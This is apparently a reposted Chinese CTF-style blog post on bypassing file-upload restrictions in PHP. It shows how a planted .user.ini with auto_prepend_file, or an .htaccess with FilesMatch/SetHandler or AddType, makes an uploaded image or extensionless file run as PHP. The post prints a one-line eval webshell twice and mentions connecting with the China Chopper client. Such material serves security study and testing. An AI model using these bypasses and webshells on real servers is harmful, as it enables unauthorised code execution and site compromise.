• .user.ini和.htaccess


    .user.ini

    .user.ini的使用条件

    (1)nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法

    php配置访问级别

    不同的php配置项根据其访问级别具有不同的配置方式,根据php手册的描述,有下列四种访问级别,不同的访问级别对应的配置方式如下表:

    模式 含义
    PHP_INI_USER 可在用户脚本(例如 ini_set())或 Windows 注册表(自 PHP 5.3 起)以及.user.ini中设定
    PHP_INI_PERDIR 可在 php.ini、.user.ini、.htaccess或 httpd.conf中设定
    PHP_INI_SYSTEM 可在php.ini或httpd.conf中设定
    PHP_INI_ALL 可用以上任何方式设定
    

    访问级别实际上是一种掩码表示方式,其中PHP_INI_USER对应1、PHP_INI_PERDIR对应2(即二进制的10)、PHP_INI_SYSTEM对应4(即二进制的100),而PHP_INI_ALL与其字面的意思相符,为所有掩码的集合,为7(即二进制的111)。实际上访问级别除了1、2、4、7以外还有3、5、6的可能性,不过PHP没有给这些访问级别定义常量。
    .user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

    可以用来getshell的函数

    Php配置项中有两个比较有意思的项(下图第一、四个):

    auto_append_file和auto_prepend_file,点开看看什么意思:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

    auto_prepend_file=01.gif  //01.gif是要包含的文件。
    

    所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。目录下有.user.ini,和包含webshell的01.gif,和正常php文件echo.php,我们可以通过包含木马文件访问到echo.php.

    使用环境

    某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。

    .htaccess

    利用环境

    能上传php文件,但是没办法解析

    利用方法

    这里只是记录下如何用.htaccess进行文件上传绕过
    建一个.htaccess 文件,里面的内容如下:

    //FileMatch 参数即为文件名的正则匹配
    <FilesMatch "pino"> 
    SetHandler application/x-httpd-php
    </FilesMatch>
    
    // pino
    <?php eval($_GET['c']);?>
    

    这个时候就上传一个文件名字是pino,这个时候我们上传一个文件名字叫做pino的文件,不要后缀名,然后里面是一句话木马,用菜刀连接,可以成功!
    或者可以这样书写

    AddType application/x-httpd-php .jpg
    // filename.jpg(图片马)
    <?php eval($_GET['c']);?>
    

    参考链接

    https://www.jianshu.com/p/5a4e4c0904f5
    https://www.jianshu.com/p/c674904a711e
    https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html

  • 相关阅读:
    使用Systemctl命令来管理系统服务
    使用lsblk命令列出系统中的块设备
    史上最全 | 1000余个实用尽调网站分类汇编
    ​2021年机器学习什么风向?谷歌大神Quoc Le:把注意力放在MLP上
    上手使用 DeepMind 分布式强化学习框架 Acme ,对开发者超友好
    005-ESP32学习开发(SDK)-新建工程补充-通过官方示例创建工程
    Golang 程序中实现优雅关闭 HTTP SERVER
    Golang的time.NewTicker周期性定时器使用案例
    彻底搞懂golang的GOROOT和GOPATH
    微服务之-ServiceMesh
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/12987570.html
Copyright © 2020-2023  润新知